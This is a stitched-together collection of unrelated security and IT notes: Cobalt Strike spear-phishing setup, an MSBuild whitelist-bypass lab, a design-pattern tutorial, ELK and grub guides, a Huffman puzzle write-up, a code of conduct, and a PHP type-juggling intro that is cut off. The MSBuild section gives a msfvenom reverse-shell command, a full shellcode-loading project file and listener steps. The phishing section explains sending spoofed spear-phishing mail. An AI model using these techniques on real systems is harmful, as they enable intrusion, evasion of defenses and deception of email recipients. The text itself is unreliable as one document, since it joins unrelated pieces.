# 0x00 简介 本章介绍的是Spear Phish(鱼叉式网络钓鱼)在Cobalt Strike中给我们提供了 鱼叉邮件的功能 ,配上host file 等实现,进一步攻击。 ![Cobalt Strike ](./img/7.2.png) 往往我们不能直接入手的时候,鱼叉邮件是一种不错的手段,我们可以在APT攻击上经常看到他的身影 # 0x01 Spear Phish 配置 >使用 Attack>Spear Phish ![Cobalt Strike ](./img/7.1.png) * targets 发送的目标信息 格式 xxxx@xxx.com(tab键) name ``` 55x@qq.com TOM xx@163.com jim ``` * tmplate 邮件模板 一般在邮件的更多选项中 ,选择导出,或者显示原文 * attachment 附件 * Embed URL 要嵌入的网址 * Mail server SMTP * Bounce to 模仿发件人 ![Cobalt Strike ](./img/7.3.png) preview 预览我们的模板文件 在实际操作过程中 当然是先给自己发一封 ![Cobalt Strike ](./img/7.4.png) send发送成功后我们可以在 send email 看到提示 ![Cobalt Strike ](./img/7.5.png) 对应 目标收到的效果图 # 0x02 文末 本文略短 灵活配合其他钓鱼手法,比如这里的Embed URL 可以换成上一章的flash oday 达到打开网址获得权限(半小时) ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# T1127-win-基于白名单Msbuild.exe执行payload ## 来自ATT&CK的描述 MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,定义了各种平台的构建要求和配置。 攻击者可能会使用MSBuild通过受信任的Windows实用程序来代理执行代码。.NET 4中引入的MSBuild内联任务功能允许将C#代码插入到XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个微软签名的二进制文件,因此当它以这种方式使用时,它可以执行任意代码并绕过配置为允许MSBuild.exe执行的应用白名单防御。 ## 测试案例 MSBuild 是 Microsoft Build Engine 的缩写,代表 Microsoft 和 Visual Studio的新的生成平台。MSBuild在如何处理和生成软件方面是完全透明的,使开发人员能够在未安装Visual Studio的生成实验室环境中组织和生成产品。 MSBuild 引入了一种新的基于 XML的项目文件格式,这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild项目文件的格式使开发人员能够充分描述哪些项需要生成,以及如何利用不同的平台和配置生成这些项。 说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 win7默认位置: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe` ## 检测日志 windows 安全日志(需要自行配置)据称可以绕过360,待确认 ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:windows server 2012 ### 测试过程 #### MSF生成载荷 ```bash msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp ``` ![载荷](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70-20220502155132124.png) #### XML文件设置 ```xml <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- This inline task executes shellcode. --> <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj --> <!-- Save This File And Execute The Above Command --> <!-- Author: Casey Smith, Twitter: @subTee --> <!-- License: BSD 3-Clause --> <Target Name="Hello"> <ClassExample /> </Target> <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > <Task> <Code Type="Class" Language="cs"> <![CDATA[ using System; using System.Runtime.InteropServices; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); public override bool Execute() { byte[] shellcode = new byte[] { 你的payload}; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return true; } } ]]> </Code> </Task> </UsingTask> </Project> ``` ![XML文件设置](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70.png) #### 设置监听 ```bash use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.126.146 msf exploit(multi/handler) > set lport 4444 msf exploit(multi/handler) > exploit ``` ![监听](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70-20220502155109540.png) #### 靶机执行payload ```dos C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.xml ``` ![加载payload](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70-20220502155113066.png) #### 查看会话 ![反弹会话](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70-20220502155121704.png) ## 测试留痕 ![日志留痕](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70-20220502155115855.png) ## 检测规则/思路 无具体检测规则,可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。 ## 参考推荐 MITRE-ATT&CK-T1127 <https://attack.mitre.org/techniques/T1127/> 利用msbuild.exe绕过应用程序白名单安全机制的多种姿势 <https://www.freebuf.com/articles/network/197706.html> GreatSCT|MSF|白名单 <http://www.secist.com/archives/6082.html> 对亮神基于白名单Msbuild.exe执行payload第一季复现 <https://blog.csdn.net/ws13129/article/details/89736941> 检测白名单Msbuild.exe执行payload <https://blog.csdn.net/qq_36334464/article/details/105487176> 基于白名单执行payload <https://www.jianshu.com/p/cdb1867c6abb>
sec-knowleage
## 7. 观察者(Observer) ### Intent 定义对象之间的一对多依赖,当一个对象状态改变时,它的所有依赖都会收到通知并且自动更新状态。 主题(Subject)是被观察的对象,而其所有依赖者(Observer)称为观察者。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/> </div><br> ### Class Diagram 主题(Subject)具有注册和移除观察者、并通知所有观察者的功能,主题是通过维护一张观察者列表来实现这些操作的。 观察者(Observer)的注册功能需要调用主题的 registerObserver() 方法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a8c8f894-a712-447c-9906-5caef6a016e3.png"/> </div><br> ### Implementation 天气数据布告板会在天气信息发生改变时更新其内容,布告板有多个,并且在将来会继续增加。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg"/> </div><br> ```java public interface Subject { void registerObserver(Observer o); void removeObserver(Observer o); void notifyObserver(); } ``` ```java public class WeatherData implements Subject { private List<Observer> observers; private float temperature; private float humidity; private float pressure; public WeatherData() { observers = new ArrayList<>(); } public void setMeasurements(float temperature, float humidity, float pressure) { this.temperature = temperature; this.humidity = humidity; this.pressure = pressure; notifyObserver(); } @Override public void registerObserver(Observer o) { observers.add(o); } @Override public void removeObserver(Observer o) { int i = observers.indexOf(o); if (i >= 0) { observers.remove(i); } } @Override public void notifyObserver() { for (Observer o : observers) { o.update(temperature, humidity, pressure); } } } ``` ```java public interface Observer { void update(float temp, float humidity, float pressure); } ``` ```java public class StatisticsDisplay implements Observer { public StatisticsDisplay(Subject weatherData) { weatherData.registerObserver(this); } @Override public void update(float temp, float humidity, float pressure) { System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure); } } ``` ```java public class CurrentConditionsDisplay implements Observer { public CurrentConditionsDisplay(Subject weatherData) { weatherData.registerObserver(this); } @Override public void update(float temp, float humidity, float pressure) { System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure); } } ``` ```java public class WeatherStation { public static void main(String[] args) { WeatherData weatherData = new WeatherData(); CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData); StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData); weatherData.setMeasurements(0, 0, 0); weatherData.setMeasurements(1, 1, 1); } } ``` ```html CurrentConditionsDisplay.update: 0.0 0.0 0.0 StatisticsDisplay.update: 0.0 0.0 0.0 CurrentConditionsDisplay.update: 1.0 1.0 1.0 StatisticsDisplay.update: 1.0 1.0 1.0 ``` ### JDK - [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html) - [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html) - [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html) - [RxJava](https://github.com/ReactiveX/RxJava)
sec-knowleage
# ELK日志分析系统 [官网地址](https://www.elastic.co/guide/en/elasticsearch/reference/current/rpm.html) * **ElasticSearch**:是实时全文搜索和分析引擎,提供搜集、分析、存储数据三大功能;是一套开放REST和JAVA API等结构提供高效搜索功能,可扩展的分布式系统。它构建于Apache Lucene搜索引擎库之上。 * **Logstash**:是一个用来搜集、分析、过滤日志的工具。它支持几乎任何类型的日志,包括系统日志、错误日志和自定义应用程序日志。它可以从许多来源接收日志,这些来源包括syslog、消息传递(例如:RabbitMQ)和JMX,它能够以多种方式输出数据,包括电子邮件、WebSocket和ElasticSearch等。 * **Kibana**:是一个基于Web的图形界面,用于搜索、分析和可视化存储在ElasticSearch指标中的日志数据。它利用Elasticsearch的REST接口来检索数据,不仅允许用户创建他们自己的数据的定制仪表板视图,还允许他们以特殊的方式查询和过滤数据。 ## 架构分析 ### ELK基础架构 概述:由Logstash分布于各个节点上搜集相关日志、数据,并经过分析、过滤后发送给远端服务器上的Elasticsearch进行存储。Elasticsearch将数据以分片的形式压缩存储并提供多种API供用户查询,操作。 优点:搭建简单、易于上手。 缺点:Logstash消耗资源较大,运行占用CPU和内存高,没有消息队列缓存,存储数据丢失隐患。 适用场景:小规模集群或者学习者使用 ### 引入消息队列 概述:引入消息队列机制,位于各个节点上的Logstash Agent先将数据传递到Kafka或Redis,并将队列中消息或数据间接传递给Logstash Server,Logstash Server分析、过滤后将数据传递给ES存储。 优点:引入消息队列机制,即使Logstash Server因故障停止运行,数据将会先被消息队列存储下来,从而避免数据丢失 缺点:由于Logstash中心节点和ES的负荷会比较重,可将它们配置为集群模式,以分担负荷 适用场景:较大集群的解决方案 ### 引入Logstash-Forwarder 概述:引入Logstash-Forwarder,首先Logstash-Forwarder将日志数据统一发送给Logstash,经过分析、过滤后发送到ES进行存储。 优点:解决了Logstash在各机器上占用系统资源较高的问题,Logstash-Forwarder与Logstash之间的通信是通过SSL加密传输,起到安全保障 缺点:由于SSL加密传输导致的限制性 ### 引入Beats ## 安装与使用 ### yum安装ELK ``` # 导入私钥 rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch # 添加yum源 vim /etc/yum.repos.d/es.repo ``` es.repo文件内容: ``` [elasticsearch-6.x] name=Elasticsearch repository for 6.x packages baseurl=https://artifacts.elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md ``` ``` # 安装java + ELK yum install java-1.8.0-openjdk.x86_64 java-1.8.0-openjdk-devel.x86_64 -y yum install elasticsearch.noarch kibana.x86_64 logstash.noarch -y # 修改配置文件 vim /etc/logstash/logstash.yml vim /etc/elasticsearch/elasticsearch.yml vim /etc/kibana/kibana.yml # 启动服务 systemctl start logstash.service elasticsearch.service kibana.service # 查看状态 systemctl status logstash.service elasticsearch.service kibana.service ``` ### rpm安装ELK ``` # 安装java并配置环境变量 # 安装es rpm -ivh elasticsearch-6.2.4.rpm # 修改es的java环境变量 vim /etc/sysconfig/elasticsearch JAVA_HOME=/usr/share/jdk1.8.0_171 source /etc/sysconfig/elasticsearch # 安装kibana rpm -ivh kibana-6.2.4-x86_64.rpm # 安装logstash # 创建java软链接 ln -s /usr/share/jdk1.8.0_171/bin/java /usr/bin/java rpm -ivh logstash-6.2.4.rpm ``` ### 更新ELK ``` # 停止服务 systemctl stop logstash.service systemctl stop kibana.service systemctl stop elasticsearch.service # 更新 yum update elasticsearch.noarch -y yum update logstash.noarch -y yum update kibana.x86_64 -y # 重新加载 systemctl daemon-reload # 启动服务 systemctl start elasticsearch.service logstash.service kibana.service systemctl status elasticsearch.service logstash.service kibana.service ``` ### 配置文件说明 * **elasticsearch.yml** ``` cluster.name: my-application # 集群名称 node.name: node-1 # 节点名称 node.attr.rack: r1 # 节点属性 path.data: /var/lib/elasticsearch # 数据存储目录 path.logs: /var/log/elasticsearch # 日志存储目录 bootstrap.memory_lock: true # 内存锁定,禁用虚拟内存 network.host: 0.0.0.0 # 绑定主机 http.port: 9200 # 绑定端口 discovery.zen.ping.unicast.hosts: ["host1", "host2"] # 启动新节点时,传递初始主机列表用于发现主机 discovery.zen.minimum_master_nodes: # 配置节点数防止脑裂 gateway.recover_after_nodes: 3 # 在N个节点后阻塞恢复 action.destructive_requires_name: true # 删除索引需要显示名称 ``` * **logstash.yml** ``` node.name: test # 节点名称 path.data: /var/lib/logstash # 数据存储目录 path.logs: /var/log/logstash # 日志存储目录 pipeline.id: main # pipeline ID pipeline.workers: 2 # 输出通道的worker数量,默认为CPU核数 pipeline.batch.size: 125 # 设定批处理数据的大小 pipeline.batch.delay: 50 # 设定批处理数据的延迟 pipeline.unsafe_shutdown: false # path.config: # 过滤配置文件目录 path.plugins: # 自定义插件目录 config.string: # config.test_and_exit: false # config.reload.automatic: false # 自动重载被修改的配置文件 config.reload.interval: 3s # 配置文件检查时间 http.host # 绑定主机 http.port # 绑定端口 log.level: # 日志输出级别,如果confie.dubug开启,这里一定要匹配debug config.debug: false # log.format # 日志格式 config.support_escapes: false # ``` * **kibana.yml** ``` server.port: 5601 # 绑定端口 server.host: "0.0.0.0" # 绑定主机 server.basePath: "" # server.name: "your-hostname" # hostname名称 elasticsearch.url: "http://localhost:9200" # ElasticSearch地址 ``` ### ELK测试 * **logstash配置文件** ``` input { file { path => ["/var/log/httpd/access_log"] type => "httpd" } } filter { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } } output { elasticsearch { hosts => ["127.0.0.1:9200"] index => "logstash-httpd-%{+YYYY.MM.dd}" } } ``` ## 使用心得 ### 适用场景 用于进行日志分析:包括用户行为日志、Web日志、服务器安全日志、防火墙或其他安全设备日志等。 当我们需要解决如下问题的时候,都是ELK的适用场景: ``` 日志收集、处理、分析、展示 程序运行问题排查 服务器性能监控、应用监控、安全监控、错误报警 用户行为分析、漏洞分析等等 ``` ### 优点 * 强大的搜索功能:ElasticSearch支持DSL的语法来进行快速搜索,并且支持分布式检索方式。 * 支持分布式扩展:ElasticSearch与Logstash都支持分布式,可以进行横向扩展,能解决大型集群的很多问题。 * 完善的展示功能:Kibana支持非常详细的图表信息,同时也可以定制展示内容,实现高效的数据可视化。 * 简单的基础配置:学习成本低,能够满足查询秒级响应。 ### 缺点 * 需要投入人力进行运营:运营成本。 * 数据的安全性保障较低,因为针对认证的Xpack模块是收费的,传输安全可以通过配置SSL来保障。 * 数据关联分析效果较差:目前在ELK中实现关联分析是比较难的。 ## 参考资料 [ELK简介及架构分析](https://blog.csdn.net/m0_37814112/article/details/78717851) [搭建安全认证的ELK日志系统](https://www.freebuf.com/articles/security-management/179736.html)
sec-knowleage
# 2021 Matzov New Year Challenge | חידת הסייבר של מצו"ב - ראש השנה תשפ"ב [Matzov](https://en.wikipedia.org/wiki/Matzov) (The IDF's Center of Encryption and Information Security) published a [short cyber riddle](https://www.idf.il/137729/) for the Hebrew New Year. Worked on it with nofart and Canlex. ## Description > > ![](images/tree.png) > > 0101010111110010001101010010000111011111101 > > == > > rosh not tail > > ~ > > lo olhottnisatnr ioohtrsltoi nh arsat > > 1011111010001000101000011100110011100111111011110001000110110111000011011100110001000111010101101001101011010001110100010001011010110010111000001000000101001011111111011000011101001110111101111101001100000011111101111010111011 > > == > > ? > > ~ > > ilos1s1m vfpupemihyahlaal mahaaearllmhnsmv rhsf gua5na ptmiee imphhi sfor5feaaaa 5h ngtamcaiippimvhr0gha0hil raoeoteooahn hh cosm mafneyyosfealr0ush1hcolmneehalhes ## Solution So, apparently, there is some relationship between `rosh not tail`, `lo olhottnisatnr ioohtrsltoi nh arsat` and `0101010111110010001101010010000111011111101` in the first trio, and we need to fill in `?` to maintain the same relationship in the second trio. Let's start by inspecting the first trio. ```python >>> a_bin = "0101010111110010001101010010000111011111101" >>> a_short = "rosh not tail" >>> a_long = "lo olhottnisatnr ioohtrsltoi nh arsat" ``` First we'll take a look at the lengths: ```python >>> len(a_bin) 43 >>> len(a_short) 13 >>> len(a_long) 39 ``` We notice a few interesting things: * The binary sequence has a length of `43`, which is prime. This is great since it rules out many things, such as a trivial mapping of the strings to equal-length chunks in the binary. * The length of the long string is exactly three times the length of the short string. If we further inspect the relationship between the strings, we see that: ```python >>> set(a_short) {' ', 'a', 'l', 's', 't', 'r', 'i', 'h', 'o', 'n'} >>> set(a_long) {' ', 'a', 'l', 't', 's', 'i', 'r', 'h', 'o', 'n'} >>> set(a_short) == set(a_long) True >>> from collections import Counter >>> Counter(a_short) Counter({'o': 2, ' ': 2, 't': 2, 'r': 1, 's': 1, 'h': 1, 'n': 1, 'a': 1, 'i': 1, 'l': 1}) >>> Counter(a_long) Counter({'o': 6, ' ': 6, 't': 6, 'l': 3, 'h': 3, 'n': 3, 'i': 3, 's': 3, 'a': 3, 'r': 3}) ``` We can see that the short and long strings are composed of the same characters, and moreover, each character in the short string appears three times in the long string. At this stage, it's very tempting to try and build a tree from the short string, and traverse it in some *Triple Order* so that every node is visited exactly three times to produce the long string. There's even a picture of a tree to further hint that we're in the right direction. However, this turns out to be non-trivial, and anyway, how does the binary sequence fit in anyway? Is it a set of instructions to visit the left or right child? Print or skip nodes? None of this seems to fit since the sequence is quite long and the tree is quite short. There is one tree, though, that can fit a binary sequence of a prime length: A [Huffman Tree](https://en.wikipedia.org/wiki/Huffman_coding): > In computer science and information theory, a Huffman code is a particular type of optimal prefix code that is commonly used for lossless data compression. > > The output from Huffman's algorithm can be viewed as a variable-length code table for encoding a source symbol (such as a character in a file). The algorithm derives this table from the estimated probability or frequency of occurrence (weight) for each possible value of the source symbol. As in other entropy encoding methods, more common symbols are generally represented using fewer bits than less common symbols. If the binary string was encoded via Huffman, it would produce an output where different encoded characters have different bit lengths, and putting them all together in a sequence results in a sequence length that does not need to be dividable by any common chunk length. The problem with Huffman coding is that when we have a few characters which have the same frequency, the actual encoding values they get are implementation specific. For example, if `h` and `r` have the same frequency, the encoding process might assign `010` to `h` and `101` to `r` or vice versa, there's really no way to predict it. So, we can either reverse the binary sequence we have to assign the values to the different characters, or get lucky and use the same [online service](http://huffman.ooz.ie/?text=rosh%20not%20tail) (or implementation) used by the challenge creators to create the Huffman dictionary: ![](images/short.png) Let's test it: ```python huffman_dict = { '00' : 't', '010' : 'r', '0110': 'n', '0111': 's', '1100': 'h', '1101': 'l', '1110': 'a', '1111': 'i', '100' : ' ', '101' : 'o' } def huffman_decode(dictionary, text): res = "" while text: for k in dictionary: if text.startswith(k): res += dictionary[k] text = text[len(k):] return res print(huffman_decode(huffman_dict, '0101010111110010001101010010000111011111101')) ``` This outputs `rosh not tail` as expected. Note that since the short and long strings have the same character frequency, they both should produce the same dictionary given a single implementation. Now we can try the same procedure for the second trio. First, we [build the dictionary](http://huffman.ooz.ie/?text=ilos1s1m%20vfpupemihyahlaal%20mahaaearllmhnsmv%20rhsf%20gua5na%20ptmiee%20%20imphhi%20%20sfor5feaaaa%205h%20ngtamcaiippimvhr0gha0hil%20raoeoteooahn%20hh%20cosm%20mafneyyosfealr0ush1hcolmneehalhes): ![](images/long.png) Then, we use it to decode the binary sequence: ```python huffman_dict = { '000' : ' ', '0010' : 'o', '0011' : 's', '0100' : 'i', '0101' : 'l', '011' : 'h', '100' : 'a', '1011' : 'e', '101010' : '5', '101011' : 'c', '101000': 'g', '101001' : 'u', '11000' : 'n', '11001' : 'p', '110100' : '1', '110101' : '0', '1110' : 'm', '11011' : 'f', '11110' : 'r', '111110': 'y', '1111110': 't', '1111111': 'v' } print(huffman_decode(huffman_dict, '1011111010001000101000011100110011100111111011110001000110110111000011011100110001000111010101101001101011010001110100010001011010110010111000001000000101001011111111011000011101001110111101111101001100000011111101111010111011')) ``` This outputs: `email happyroshhashanah510gmailcom i love huffman tree`. Those who sent an email to the address above, received a follow-up challenge which included a Visual Studio project and the following code: ```cpp #include <iostream> #include <Windows.h> void mal() { printf("Success!\n"); ExitProcess(0); } void swap(int* a, int* b) { int temp = *a; *a = *b; *b = temp; } int main() { int a = 5; int b = 7; int* a_ptr = &a; int* b_ptr = &b; printf("%d, %d\n", *a_ptr, *b_ptr); try { // Scope 1: { // Write your code here. // Your goal is to cause mal() to execute when the code within scope 2 happens. // You are not allowed to change any line of code, only to add code within this scope. // This only needs to work in debug x86. } // When this scope executes mal() should be called. // Don't change the code here! // Scope 2: { swap(a_ptr, b_ptr); printf("%d, %d\n", *a_ptr, *b_ptr); } } catch (...) { printf("Failure :("); // If this executes you fail } } ``` The instructions are inlined in the `cpp` file. Two different approaches to solve the challenge: #### Patching the Code During Runtime: We can replace the runtime code for `swap` with a call to `mal` during runtime, based on [this reference](https://stackoverflow.com/questions/20716479/how-to-call-original-function-after-hotpatch). ```cpp std::uint8_t* OrigFunc = (std::uint8_t*)swap; std::uint8_t* HookFunc = (std::uint8_t*)mal; DWORD dwProtect = 0; const static std::uint8_t jmp[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 }; const static std::int8_t jmp_size = sizeof(jmp) / sizeof(std::uint8_t); static std::uint8_t HookJump[jmp_size + 1] = { jmp_size }; VirtualProtect(OrigFunc, jmp_size, PAGE_EXECUTE_READWRITE, &dwProtect); memcpy(&HookJump[1], OrigFunc, jmp_size); memcpy(OrigFunc, jmp, jmp_size); memcpy(OrigFunc + 1, &HookFunc, sizeof(void*)); VirtualProtect(OrigFunc, jmp_size, dwProtect, &dwProtect); ``` #### Utilizing the Exception Mechanism: We can register an exception handler to run before the default exception handler, then trigger an exception: ```cpp #define CALL_FIRST 1 a_ptr = NULL; AddVectoredExceptionHandler(CALL_FIRST, (PVECTORED_EXCEPTION_HANDLER)mal); ``` Happy new year!
sec-knowleage
# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at trimstray@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/
sec-knowleage
grub === 多重引导程序grub的命令行shell工具 ## 补充说明 **grub命令** 是多重引导程序grub的命令行shell工具。 ### 语法 ```shell grub(选项) ``` ### 选项 ```shell --batch:打开批处理模式; --boot-drive=<驱动器>:指定stage2的引导驱动器; --config-file<配置文件>:指定stage2的配置文件; --device-map=<文件>:指定设备的映射文件; --help:显示帮助信息; --install-partition=<分区>:指定stage2安装分区; --no-config-file:不使用配置文件; --no-pager:不使用内部分页器; --preset-menu:使用预设菜单; --probe-second-floppy:检测第二个软盘驱动器; --read-only:只读模式。 ``` ### 实例 利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。 这里说一下这种情况下的处理方法,即:屏幕上提示`grub>`,但你的硬盘上数据没有丢失,各分区都是好的。这种情况是你的grub信息损坏了,但比较严重的是系统启动不了。 当然,在正常启动情况下,屏幕上出现grub的启动项选择菜单时按`c`键也是可以进入`grub>`状态的。这时候我们需要用grub的命令来手工启动系统。 只需要用到四个命令boot、kernel、initrd、boot。 但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到。 首先,输入“ root (hd ” ,然后按两次 TAB 键; /* 这会列出你电脑上可能的磁盘设备,硬盘为 hd0/hd1 或 sd0/sd1 等 */ 然后,选择你的安装 Linux 系统的硬盘,比如 hd0 ,输入 “ root (hd0, ” 再按两次 TAB 键; /* 这会列出你的第一块硬盘上的分区情况,你会知道哪个是 swap 交换分区, 0x82 ,哪个是 Linux 分区 0x83 */ 选择你认为可能的 /boot 目录所在的分区, 输入`root (hd0, 1)`回车; 接着,输入`cat /boot/vm`, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区。 删除上一次的输入,再输入`cat /boot/initrd`,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像; 删除上一次的输入,再输入`cat /sbin/init`,按两次 TAB 键,如果出现一些 init 开头的文件,比如`/sbin/init`说明这个分区是`/`所在的分区; 如果没有出现`/sbin/init`文件,说明`(hd0,1)`分区仅仅是`/boot`分区而不是`/`分区。重新输入`root (hd0,N)`命令,这里 N 是某个 Linux 分区,然后再试`cat /sbin/init`, 直到屏幕上出现`/sbin/init`,说明你找到了`/`分区,严格来说,应该是`/sbin`目录所在的分区; 依次输入命令: ```shell root (hd0,1) /* 假设 /dev/hda2 是你的 /boot 所在的分区 */ kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3 /* 假设 /dev/hda3 是你的 / 所在的分区 */ initrd /boot/initrd.img-2.6.15-26-386 boot ``` 即可启动系统。 这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin` ### 参考资料 - 自由软件基金会 - grub 文档 <https://www.gnu.org/software/grub/>
sec-knowleage
# Type Juggling > PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison). ## Summary * [Loose Comparison](#loose-comparison) * [True statements](#true-statements) * [NULL statements](#null-statements) * [Loose Comparison](#loose-comparison) * [Magic Hashes](#magic-hashes) * [Exploit](#exploit) * [References](#references) ## Loose Comparison > PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs. - **Loose** comparison: using `== or !=` : both variables have "the same 